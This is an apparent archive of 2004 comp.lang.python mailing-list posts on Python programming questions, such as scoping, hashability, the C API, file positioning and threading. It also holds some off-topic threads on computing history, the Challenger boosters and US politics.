I'll likely return to this. > > I hope that my following comments don't sound presumptuous or antagonistic. This topic really interests me and I'd like to raise a couple of questions about the above discussion for my own sake. Let me assert up front that I am _far_ from a debugger guru. I'm just starting to tinker around with it lately. My previous debugging techniques centered around a bunch of "print" statements or log entries, etc - but, I must say, they were fairly effective. Is it possible that this is a case of "what you don't know, you don't know that you don't know"? Meaning, if you aren't (in this case) a debugger guru, you don't know how much (more) you would use the debugger for non-catastrophic bugs and how much more productive it would make you (again, for non-catastrophic bugs, or things that aren't even bugs)? All of programming isn't debugging, so becoming a master of the debugger to the detriment of some other aspect of programming (which Alex could fill in here with much more finesse than I could) is, in my opinion, a mistake. But I just wonder how much I'm missing by not being as proficient with the debugger. I guess the same could be said regarding other tools - maybe even IDEs . Another question that I'd like to raise is, does a one week investment in time necessarily add up to one week in time? Meaning, if you determine that you would like to become more adept at the debugger and decide that you're going to spend your spare moments with it when things are slow and there is little/nothing to do anyway, do you really have anything invested in it compared to your productive activities? Especially if the spare moments (which would have been spent surfing Slashdot) result in an improvement of productivity immediately. I'm not asserting that this is the case - just raising the question. Anyway, hope I don't sound like a butt on this. Both of my questions are, interestingly, non-quantifiable. I guess I can empathize with Cameron's statement: I have an intense interest in this narrative, and little ability yet to articulate why. I dunno. Maybe it's because I just started fumbling around with pdb and this topic just struck a chord within me. Maybe it's because I've got a personality flaw where I'm willing to "waste" spare time on learning things that I feel _may_ (not _will_ - _may_) help me think in different ways. Currently, I'm on a kick of wanting to "get" functional programming. I don't know why, but I just feel like when I "get" it, it'll help me think about other things in different and better ways. Maybe that's just Eric S. Raymond's comments on Lisp floating around in my head - or maybe David Mertz's articles on functional programming. Jeremy Jones -------------- next part -------------- An HTML attachment was scrubbed... URL: From carribeiro at gmail.com Mon Sep 27 00:50:43 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 01:50:43 -0300 Subject: Unary plus operator and __pos__ Message-ID: <864d37090409262150b72ef26@mail.gmail.com> I was checking the Prolog recipe in the Cookbook: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/303057 It's a clever implementation that explores some aspects of Python that I wasn't aware of. One of them is the unary plus operator, that calls the __pos__ method. It's something that can be highly useful in my own experiments with the use of classes as a tool for generic declarative descriptions of objects -- UI forms, reports, webpages, etc. Now I'm curious about the operator itself. Why is the unary plus operator associated with the __pos__ magic method? I' can't see a relation here, and I could not find much info (although I haven't really looked very hard :-) Anyone knows why is it so? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Mon Sep 20 15:08:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 21:08:11 +0200 Subject: Inheritance question References: Message-ID: <1gkfjva.1fx9jvx1h4wxodN%aleaxit@yahoo.com> Yannick Turgeon wrote: ... > Say "0144AYHR78" (encoded data) means "Add client Joe" and "0589UAWERT" > means "Ship 3 compressors to Joe". What I want to do is to create a "A" > instance which find the command type and parameters and "mutate" itself to > the good command. All command parameters ("Joe" for the first one and ... > Any suggestion to do this in a better way Yeah -- Peter Otten explained in more detail, but summing up: what you need is a Factory Design Pattern -- a function that takes the encoded data, decodes it, instantiates the appropriate class (probably based on a dict to map code->class) with the appropriate parameters. No reason whatsoever to have an instance mutate its own class in this case. Alex From mg.mailing-list at laposte.net Tue Sep 28 06:54:15 2004 From: mg.mailing-list at laposte.net (mg) Date: Tue, 28 Sep 2004 11:54:15 +0100 Subject: Python API : constant variables & sub module creation Message-ID: <415942D7.5090200@laposte.net> Hi everybody... I am using Python API in order to create bindings. So, in the init function of my module, I create constants : PyMODINIT_FUNC initMyModule( void ) { PyObject* module = Py_InitModule3( "MyModule", 0, "this is my module" ) ; if( ! module ) return ; PyObject* dict = PyModule_GetDict( module ) ; if( ! dict ) return ; long value = 0 ; // for the example PyObject* py_value = PyInt_FromLong( value ) ; char* name = "NULL" ; PyDict_SetItemString( dict, name, py_value ) ; Py_DECREF( py_value ) ; } So, my first "problem" is that my module variable is mutable; I can write the following instruction in python : >>> import MyModule >>> null = MyModule.NULL >>> print null 0 >>> MyModule.NULL = 99 >>> null = MyModule.NULL >>> print null 99 Then, my question is : how can I implement a constant variable from the API ? My second problem is that I would like implement my NULL variable in a sub module of my module in order to write the follow python syntax : >>> import MyModule >>> null = MyModule.MySubModule.NULL >>> print null 0 Then, my question is : how can I do it ? Thanks a lot, Mathieu From peter at engcorp.com Thu Sep 2 23:35:54 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 23:35:54 -0400 Subject: Tuple question In-Reply-To: References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Message-ID: <9JmdnQkSR7m8e6rcRVn-sA@powergate.ca> Aahz wrote: > In article , > Peter Hansen wrote: > >>Why do you think tuples use significantly less memory than lists? >>As far as I know, they don't. (They do use less, but if you are >>really talking about huge amounts of data such that you would >>be trying to optimize in this way, then the amount that they use >>is not *significantly* less.) > > Actually, if you have large numbers of short sequences, the memory > savings from tuples can indeed be significant. I don't remember off-hand > what the number is, but I think it's something on the order of 20%. Differing definitions of "significant", I guess, because nothing less than about a 2:1 ratio would make me consider optimizing to use tuples instead of lists... Consider, for example, that one actually has to build the tuple in the first place... how can you do that without having the info in a list to begin with? (I'm sure there are ways if one is ingenious, but I think the answers would just go to prove the point I was making.) -Peter From fernandoSPAM.YOURSELF at fernando-rodriguez.com Sat Sep 4 11:30:36 2004 From: fernandoSPAM.YOURSELF at fernando-rodriguez.com (Fernando Rodríguez) Date: Sat, 04 Sep 2004 17:30:36 +0200 Subject: Trouble accessing global vars Message-ID: Hi, I haven't used Python in quite some time, and I'm bit puzzled by this: counter = 0 class Blah(object): def run(self): counter += 1 b = Blah() b.run() Traceback (most recent call last): File "", line 1, in -toplevel- b.run() File "", line 3, in run counter += 1 UnboundLocalError: local variable 'counter' referenced before assignment However, counter is not a local var, it's a global one. :-? Shouldn't this work? From aleaxit at yahoo.com Fri Sep 3 04:26:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 10:26:31 +0200 Subject: Modules are hashable?! References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> <4137ed92$1@news.unimelb.edu.au> Message-ID: <1gjj8ry.xcz26x1692ny1N%aleaxit@yahoo.com> Jason Lai wrote: > Maurice LING wrote: > > > > The idea that I get from reading this thread is that objects that can be > > type compared (comparing the contents) are not hashable, and they are > > list, strings, tuples and dictionary. Is there any others that fall into > > this category? Is there any way to make them hashable? > > Well, strings and tuples are immutable, so they provide a hash function > (since it's safe to hash them by contents; the contents are pointers > that don't change.) Anything that provides a hash function can be Yes, a tuple's "pointers" don't change, but they may refer to objects that do, and in this case the tuple need not be hashable. E.g.: >>> a=tuple([ {} ]) >>> hash(a) Traceback (most recent call last): File "", line 1, in ? TypeError: dict objects are unhashable Since the tuple has (as its only item) a dict, the tuple itself isn't hashable -- the error message indicates the type of the item that fails to be hashable. > hashed. You could theoretically create a new list type that works > exactly like a normal list, but hashes based on ID. No, if a==b and hash(a)!=hash(b) all hell would break loose. Don't go there. Alex From roo at try-removing-this.darkboong.demon.co.uk Sat Sep 4 04:14:54 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sat, 04 Sep 2004 09:14:54 +0100 Subject: Xah Lee's Unixism In-Reply-To: References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> Message-ID: <1094285694.404322@teapot.planet.gong> Larry Elmore wrote: > Rupert Pigott wrote: [SNIP] > http://www.ae.utexas.edu/~lehmanj/ethics/srb.htm > > "Competition for the SRB Contract" > > "Four companies bid for the contract to design and manufacture the solid > rocket boosters (SRBs). Aerojet Solid bid the program at $655 million, > United Technologies at $710 million, Morton Thiokol at $710 million, and > Lockheed at $714 million. All the bids were relatively similar in both > price and technology. Based on cost, the NASA advisory panel recommended > that the contract be awarded to Aerojet; they believed that money could > be saved without sacrificing technical quality by choosing the lowest > bid. NASA administrator Dr. James Fletcher overruled this recommendation [SNIP] Even if hypothetically superior Aerojet boosters were used I would bet a life's salary that mismanagement would nail them in the end... Consider this : If the tables were turned and an Aerojet booster exploded in the sky I'll bet the armchair QBs would be asking why were Aerojet chosen over Morton-Thiokol who had more experience of building large solid-fuel rockets. Cheers, Rupert From nicksjacobson at yahoo.com Fri Sep 10 00:43:36 2004 From: nicksjacobson at yahoo.com (Nick Jacobson) Date: 9 Sep 2004 21:43:36 -0700 Subject: A bug with file.tell()? Message-ID: Is this a bug? This code involves the file methods "seek" and "tell". Even though the file pointer is in the middle of the file, "tell" returns a position at the end of the file! fp = file("test.txt") #read in some of the file: for line in fp: if line == "blah3\n": break fpos = fp.tell() #save the current position... for line in fp: print line #prints "asdf", so it wasn't at the end of the file fp.seek(fpos) #rewind? for line in fp: print line #prints nothing, because it's at the end of the file! The test.txt file is: blah1 blah2 blah3 asdf From pinard at iro.umontreal.ca Fri Sep 24 10:57:57 2004 From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard) Date: Fri, 24 Sep 2004 10:57:57 -0400 Subject: NEW MAINTAINER for Pymacs [corrected] In-Reply-To: <20040917002304.GA14120@alcyon.progiciels-bpi.ca> References: <20040917002304.GA14120@alcyon.progiciels-bpi.ca> Message-ID: <20040924145757.GA20025@alcyon.progiciels-bpi.ca> [The contents of this announcement is identical to the one I sent a few days ago, except for Syver's email address. Please disregard the initial announcement. I'm sorry for the information duplication.] Hello to everybody, and Emacs users in the Python community. The Pymacs project (described below) now has new maintainer: Syver Enstad . I'm inviting Pymacs users to collaborate with Syver as nicely as they always did with me. Syver himself has always been known to me as a helpful, competent and enthusiastic Pymacs user. Future announcement or news, as well as any decision about Pymacs, will originate from Syver instead of me. Also, reports, questions or suggestions about Pymacs should ideally be sent directly to Syver. -------------------- Pymacs is a powerful tool which, once started from Emacs, allows both-way communication between Emacs Lisp and Python. Pymacs aims Python as an extension language for Emacs rather than the other way around, and this assymetry is reflected in some design choices. Within Emacs Lisp code, one may load and use Python modules. Python functions may themselves use Emacs services, and handle Emacs Lisp objects kept in Emacs Lisp space. See `http://pymacs.progiciels-bpi.ca' for more documentation, including the manual in HTML form. The canonical Pymacs distribution is available as `http://pymacs.progiciels-bpi.ca/archives/Pymacs.tar.gz'. Report problems and suggestions to Syver Enstad `mailto:syver.enstad at asker.online.no'. -- Fran?ois Pinard http://pinard.progiciels-bpi.ca From me at privacy.net Sun Sep 26 15:52:23 2004 From: me at privacy.net (Richard Hanson) Date: Sun, 26 Sep 2004 12:52:23 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><10l90qcihqrjba1@corp.supernews.com> Message-ID: Stephen Waterbury wrote: > Richard Hanson wrote: > > Stephen Waterbury wrote: > >>[...] QM may be the ultimate framework > >>for an observer/observable-based theory of physics, > > > > But, but... How can *QM* be the ultimate framework? -- it doesn't > > include gravity (GR). [Other musings from the two of us mercilessly snipped. ;-) ] > OK, enough elephant shit from me! :) And, enough horseshit from me. ;-) --- [Note: I am having equipment and connectivity problems. I'll be back as I can when I get things sorted out better, and as appropriate (or inappropriate ;-) ). Thanks to you and to all for the civil and fun discussions!] whadda-I-know-about-all-*this*-stuff?'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From askari at addressNonValide.com Wed Sep 1 08:16:39 2004 From: askari at addressNonValide.com (Askari) Date: Wed, 01 Sep 2004 12:16:39 GMT Subject: Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be "read". Message-ID: Yesterday, ALL code in python work and nothing when I close(finish) a code. Today, when I close, some raise this windows error : Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be "read". Click on "OK" to exit program. Why this error, today and not before today? Askari From cgibbs at kltpzyxm.invalid Wed Sep 8 22:50:12 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 08 Sep 04 18:50:12 -0800 Subject: Xah Lee's Unixism References: <413f6044.512285562@News.individual.net> Message-ID: <1712.747T640T11304157@kltpzyxm.invalid> In article <413f6044.512285562 at News.individual.net>, iddw at hotmail.com (Dave Hansen) writes: >A "dittohead" is someone who regularly listens to and agrees with Rush >Limbaugh (popular conservative U.S. radio talk show host). It is a >tradition that callers on his show (at least those that agree with >him) start their call with something like "Country redneck dittos to >you, Rush," or "Hey, Rush, blues-pickin' Cajun dittos" before >launching into the subject of their call. The way I heard it (which I can't confirm since I've never actually listened to Limbaugh's show) is that so many people were calling in to say what amounted to nothing more than "I agree with you" that Rush himself suggested they just say "ditto" to save time. Thus were "dittoheads" born. >ObPython: Rush could have been the basis of a great Monty Python skit. What a thought! That _would_ be fun. Eric Idle, are you reading this? >ObUnix: Max OS X has a "ditto" command that's the same as "cp" only >different. Wasn't "ditto" the name of one of those console-driven mainframe utilities that would copy anything to anything? (Another version was known as DEBE, which stood for "Does Everything But Eat".) I got my hands on some source code and got one working on the Univac 9400 and 90/30. Thanks to our convention of prefixing such utility program names with "UV" (for Univac Vancouver), it wound up being called UVDITO (so that it would fit into the 6-character name limit). -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From noone at here.com Thu Sep 30 01:10:35 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 06:10:35 +0100 Subject: List rotation References: Message-ID: Hi Steven, Sorry, as I'm a beginner I don't think I should have used the title rotate list, as that's not what I want. If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would of course give('d', 'b', 'a' etc... What I'm looking for is that say if trans = 1, then the list would become ('b', 'a', 'c', 'b', 'a', 'd', 'c') . For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') items = ('a', 'b', 'c', 'd') items + 1 = ( 'b', 'c', 'd', 'a') items + 2 = ( 'c', 'd', 'a', 'b') items + 3 = ( 'd', 'a', 'b', 'c') trans = 1 list = ('a', 'd', 'b', 'a', 'd', 'c', 'b') I can think of the long/wrong way to do it as shown for trans = 3, but there must be some simpler idea. for idx in range(len(items)): if list[idx:idx + 1] == ['a']: list[idx:idx + 1] = ['d'] if list[idx:idx + 1] == ['b']: list[idx:idx + 1] = ['a'] From jmfbahciv at aol.com Sun Sep 12 09:32:50 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sun, 12 Sep 04 13:32:50 GMT Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <41444b6a$0$6932$61fed72c@news.rcn.com> <87zn3v7ekc.fsf@p4.internal> Message-ID: <41446336$0$6925$61fed72c@news.rcn.com> In article <87zn3v7ekc.fsf at p4.internal>, Bulent Murtezaoglu wrote: >>>>>> "jmf" == jmfbahciv writes: > jmf> Grant Edwards wrote: > >> ... Bush thinks he's entitled > >> to declare anybody and everybody an "enemy combatant" and lock > >> them up in secret forever. > > jmf> Would rather he do like Italy? They are letting them go. > jmf> Then these released people go blow up something else. [...] > >Why are those the only two choices? Do you think people turn into >bomb-wielding terrorists by feat of mere suspicion? Oh, sigh! [emoticon begins to hit head against wall because it feels better] > >I don't think the US abuses the 'enemy combatant' device as much as we >fear, yet. Hint..the US isn't abusing enemy combatants. > ... But if the people in the US are convinced that the choice is >between getting blown up and secret detentions w/o judicial oversight >then it will get far worse than we fear. WHAT SECRET DETENTIONS? > >I am beginning to think the US gov't and populace alike might be >believing the "they hate us for our freedoms" line and trying to get rid >of the said freedoms in the hope that it will appease the terrorists. Now there you actually made a point, but not the one you think you did. > >Look, what is to prevent your government from putting cuffs on me and >shipping me off to a dungeon the next time I am in the US because of >the sentence above? Too many people coming in. As long as you don't stand up and shout bomb or make a fool of yourself going through customs and fill out the paperwork without trying to be a smartass, I don't see people who are already overworked and stretched thin bothering with you. > .. Would I see a judge? Lawyer? I don't know. I had understood that, if you didn't get through customs, you were put back on a plane out of the country. > ... Would anybody even >know? Yes. Lots of people. > ..Are you guys truly scared enough to sanction this kind of behaviour >from your gov't? If you are a terrorist with the intent to wreak death and destruction in this country, I sure as hell hope somebody doesn't let you in. /BAH Subtract a hundred and four for e-mail. From peter at engcorp.com Tue Sep 14 16:41:00 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 16:41:00 -0400 Subject: Simple XMLRPC-server with http/multicast cabilities In-Reply-To: <2paek0l0609q7r2k5ts6b0vl51nbtb9s4g@4ax.com> References: <2paek0l0609q7r2k5ts6b0vl51nbtb9s4g@4ax.com> Message-ID: Thomas wrote: > I want to use modules in the standard python distro, ie. > SimpleXMLRPCServer, but if I have to I can also use Twisted ( but I'd > prefer to use pure Python-distro modules in the slave servers to > reduce installation size etc. ) I thought Twisted was not dependent on any non-Python components, and would run just fine (but perhaps with slightly lower peak throughput) with just the .py files. Or did my imagination just make that up? -Peter From jmfbahciv at aol.com Wed Sep 8 07:32:37 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Wed, 08 Sep 04 11:32:37 GMT Subject: Xah Lee's Unixism References: <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <413daee5$0$6932$61fed72c@news.rcn.com> Message-ID: <413f00e0$0$6914$61fed72c@news.rcn.com> In article , Morten Reistad wrote: >In article <413daee5$0$6932$61fed72c at news.rcn.com>, wrote: >>In article <1s4ihc.4i4.ln at via.reistad.priv.no>, >> Morten Reistad wrote: >>>In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, >>> wrote: >>>>In article , >>>> Morten Reistad wrote: >>> >>>1995 was the year everyone and Bill Gates discovered the Internet >>>existed; and wanted in on the deal. Suddenly everyone needed Internet >>>solutions. >> >>I knew the Internet existed when I started reading the ads in the >>WSJ and they had this strange arrangement of characters that >>began with www. At first, there were only a few. _One_ year >>later there were lot. Less than two years later, everybody had >>one. I watch ads to foretell trends. > >I knew we had succeeded in making the Internet mainstream when >I saw that the plane I was about to board had the URL I made for >them written along the entire plane in 2 meter high letters. Oh, neat. That must have been a unique feeling of accomplishment. > >And we had to do a hard sell for the Internet bit. 2 years later more >than 50% of their tickets were sold over the Internet. I don't think we've even seen the beginning. > >>>>Since TCP/IP was in the 90s, I couldn't have heard about it >>>>over the wall (I think I stopped working in 1987). I could >>>>swear that cybercurd meant something. >>>> >>>>ISTR, the -20 types yakking about it. >>> >>>TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) >>>converted Jan 1st 1983; with final NCP service turned off everywhere >>>by mid march 1983. >> >>Aha! Whew! Then my memory isn't completely gone. If it was >>launched in 1982, then they had to have been yakking about it >>in 1980 and 1981. > >The period 1978-1982 was the intense design phase of the infrastructure >of the modern Internet. It would have been on the mind of IT engineers >worldwide. > >>>Tops20 has an IP package; but it was pretty rudimentary in version 4, >>>and not quite complete even by those standards even in version 7. >> >>Version 4 and version 7 were way after 1980. > >Yep, but it was in version 4 there was real TCP/IP support. ISTR there >was a retrofit to a late version 3; but that was made after V4 was out. >This version more or less depended on other boxes, just like a PC does >today. "Real" TCP/IP came out in V7 (or possibly late V6. I more or >less skipped the entire V6 of Tops20). TOPS-20 development was not known for their innovation acclerity. /BAH Subtract a hundred and four for e-mail. From ville at spammers.com Sun Sep 26 16:48:05 2004 From: ville at spammers.com (Ville Vainio) Date: 26 Sep 2004 23:48:05 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> Message-ID: >>>>> "Richard" == Richard Hanson writes: Richard> Ultimately, many things may not be knowable in Richard> principle. How can "all" be knowable to humans who are Richard> part of the very "system" being considered, i.e., the Richard> cosmos? :-) In the Samadhi experience, the observer is no longer and thus fathoms "all", including the ultimate reality (because he *is* the ultimate reality). That's not necessarily something one should use as a respense in a physics exam, of course. -- Ville Vainio http://tinyurl.com/2prnb From heikowu at ceosg.de Mon Sep 20 05:21:58 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Mon, 20 Sep 2004 11:21:58 +0200 Subject: uncompressed size of .gz file In-Reply-To: <000001c49ed3$35125b20$0a0c10ac@che2003> References: <000001c49ed3$35125b20$0a0c10ac@che2003> Message-ID: <200409201121.58282.heikowu@ceosg.de> Am Montag, 20. September 2004 07:32 schrieb frankabel: > Just a question: in line "return struct.unpack(" I think that better will be " please tell me if I'm wrong. You should be fine using " Message-ID: <415aa86d$0$254$edfadb0f@dread14.news.tele.dk> "kanji" wrote: > > The issue is it works most of the time, but occassionally (I mean this > is quite random ) it hangs and it does not generate any errors as > such. While trying to debug, sometimes even the gdb hangs, but i > managed to get a backtrace of a hung thread: > > #0 0xb75ebc32 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2 > #1 0xb75d11ee in pthread_cond_wait@@GLIBC_2.3.2 () > from/lib/tls/libpthread.so.0 > #2 0x0809bb3f in PyThread_acquire_lock () > #3 0x0809e45c in _PyObject_GC_Del () My guess is that the problem is not in this thread: Some other thread is hung or crashed, while holding the GIL, and this thread here is just waiting on the GIL. > So just to weed out the possibility that it is not because of some > error in the code, I iteratively called the same function (which > creates say 100 threads) in a for loop - for 500 times. I found that > it tends to hang at different iterations -- say may be at iteration > #480 or #12 or sometimes it sails smoothly. You have a race condition. There may be some shared resource that is not accessed in a thread-safe manner. Perhaps some C global variable used by your code or a library that your code calls? Or perhaps you just have a blocking I/O-call waiting for something that never happens. Good luck - you're gonna need it :/ - Anders From lynn at garlic.com Fri Sep 3 18:54:32 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 16:54:32 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: John Thingstad" writes: > Norton Trikol alto buildt the Titan solid rocket booster along > simular lines. I has a resonably good record. > A extra gasket was added since it was supposed to be used > for human flight. Fron a engeneering stanpoint I can't see how you > are supposed to mold solid rocket fuel fot the booster in one piece. > But then I am not a rocket scientist. > Anyhow space flight is a riscy endevor. If it wasn't the booster then it > would have been something else. One in every 50 or so launces will fail. > Saying it was as good as murder is prepostrious. > The peaple who launced knew the riscs. Sitting attom of 10000 liters of > fuel undergoing a controlled explosion will probaly never be entirely safe. the two spoof stories in the aftermath 1) one about sectioning the boats for columbus because they had to be built in the mountains where the trees grew and then used tar to stick the sections together for the trip across the atlantic. lots of ships were lost at sea for all sorts of reasons ... but hopefully none because the ship was built in sections and tar was used to stick them together. 2) way back when, because a wagon slipped off the trail and down the side of the mountain and people died ... congress decreed that there would be no more travel across the appalachian trail ... hardly consistent with the tens of thousands of traffic deaths each year. ... however, i think your reply is intended possibly for somebody else's post ... not mine. -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From clifford.wells at comcast.net Sun Sep 19 19:58:51 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 16:58:51 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: <_Lo3d.5146$%42.2120@trndny08> References: <_Lo3d.5146$%42.2120@trndny08> Message-ID: <1095638331.31957.336.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 23:38 +0000, Chris S. wrote: > Cliff Wells wrote: > > > > Okay, at this point I suppose the better question would be how to make > > an "educated guess". As I mentioned, I've considered trying to open a > > socket to one or more relatively stable hosts (i.e. Google, Yahoo, etc) > > and if this fails, assume there is no Internet link. However, this > > clearly has it's flaws (those services, as unlikely as it seems, could > > potentially be down, or they might be blocked by a corporate firewall, > > etc). Further, tying the application to an outside source that is, for > > all intents, unrelated to the app seems a bit flaky. > > > > Anyway, it occurs to me that a better "guess" might consist of whether > > or not the app can reach the PC's primary/secondary DNS servers. If > > these are unreachable then it's a fair assumption that we aren't going > > to get anywhere anyhow. > > > > So... is there a way of determining the DNS search path of a PC? > > My solution was far more mundane. I meant simply try and access the > internet the way you normally would. If it's a mail client, try and > access your users POP server. If it's a web-browser, try and retrieve a > web page the user wants. If you can't access them, then there's > essentially no "internet connection". In other words, don't worry about > whether or not there's an available connection. Instead, assume there is > a connection and worry about the status of your requests on the network. Well, this is the fundamental problem. It's an RSS aggregator, so there is no single server it will be connecting to. Further, because servers can be added by the user or simply "disappear" because some blogger decides he doesn't want to maintain a feed anymore, getting connection errors will probably be quite common. Additionally, because I'm using Twisted, fetching the sites is asynchronous, so I'm updating the cache and determining error messages long before I have a chance to determine that all of the connections are failing. By the time I have that information, the damage has been done, so to speak. Given this situation, and the fact that there are specific requirements (mentioned elsewhere) leaves me little choice but to use some guesswork to determine whether or not a connection is present *prior* to fetching feeds. Anyway, at this point I'm using the rather lame "check if both google and yahoo are unavailable" method. I'll find something better when I have more time to devote to it. I may use the effbot's suggestion for Windows (InternetCheckConnection) and some other method for Linux and OS/X. Regards, Cliff -- Cliff Wells From simoninusa2001 at yahoo.co.uk Thu Sep 16 16:19:54 2004 From: simoninusa2001 at yahoo.co.uk (Simon John) Date: 16 Sep 2004 13:19:54 -0700 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? In-Reply-To: Message-ID: Michel Claveau - abstraction m?ta-galactique non triviale en fuite perp?tuelle. wrote: > And wax ? I think they're all wrappers around the C++ GUI libs, GTK, wxWidgets, Carbon etc, but with a more Pythonic style than e.g. wxPython (which is basically C++ in Python!) or wxGTK? From dontwant at spam.com Fri Sep 10 22:16:36 2004 From: dontwant at spam.com (Courageous) Date: Sat, 11 Sep 2004 02:16:36 GMT Subject: Jython as embedded Marco language References: Message-ID: >Has anyone had experience in such an endevor? An associate of mine did this and was quite happy. Really, what you need to do is try it out. C// From steve at holdenweb.com Mon Sep 27 21:46:03 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 21:46:03 -0400 Subject: finding time when url was modified In-Reply-To: References: Message-ID: <5r36d.524$gk.491@okepread01> Ajay wrote: > hi! > > i am reading a file on the Web. How can i find out when it was last > modified? > > thanks > That would be the "Last-Modified" HTTP header, when it's present. Python 2.3.4 (#1, Jun 13 2004, 11:21:03) [GCC 3.3.1 (cygming special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> from urllib import urlopen >>> f = urlopen("http://www.holdenweb.com/") >>> print f.headers Server: Microsoft-IIS/5.0 Date: Tue, 28 Sep 2004 01:50:38 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Wed, 25 Aug 2004 17:47:51 GMT ETag: "242599a4cb8ac41:f460" Content-Length: 12456 Oops, time I reinstalled the auto-update code to keep my Python links fresh! regards Steve From anna at aleax.it Tue Sep 7 06:13:30 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Tue, 07 Sep 2004 10:13:30 GMT Subject: How to actually write a program? References: Message-ID: On Fri, 03 Sep 2004 21:29:36 +0000, Nick Evans wrote: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to > know is, if you are going to actually write a program or a project of > some sort, how do you actually start. > > Picture this, you know what you want the program to do (its features), > you have a possably rough idea of how the program will work. You have > opened an empty text file and saved it as 'mykewlprogram.py' and now > your sitting in front of an empty text file... Now then.... where do I > start. Lots of folks have given some great pointers. I'll pass along what I do, since I'm closer to your level of programming than some folks here. I usually start by choosing one very simple piece of "what it does" and trying to code that. Say I want to be able to do x, y and z. I would start with just trying to make it do x. (Some folks think in terms of data structures or objects. In which case, start with just creating a very simple myfirstobject or mydatastruct1.) The whole test as you go idea is great - I'm working on automating that more myself. If the whole automatic unittest thing is too advanced for you for now, just write down a list of manual tests to try -- what's *supposed* to happen in ? case, and manually try those each time. Don't forget to think about "what do I do if user enters n instead of x, y or z". Eventually, you'll use that same kind of question and answer to code a unittest anyways, so it's actually good practice on working towards unittesting. Anyway, I would create a way to test x (or myobject or mydatastruct1), run (manually or automagically) the test (which fails at first) and then start working on trying to make x pass, one case at a time. Once x passes, I can go on to y... One other tip: add lots of print statements. Print statements are your friend. They can help you figure out what it's *actually* doing, (and more importantly sometimes: what it's *NOT* doing) rather than just what you hope it might be doing. For example, when you start on defining funcx(a), you could start by having it just print what you gave it for arguments. You can always comment out or remove the print statements afterwards. Anna From carl.scharenberg at gmail.com Thu Sep 2 09:29:18 2004 From: carl.scharenberg at gmail.com (Carl Scharenberg) Date: 2 Sep 2004 06:29:18 -0700 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> Message-ID: > This seems to be of somewhat better quality than the output of the typical > 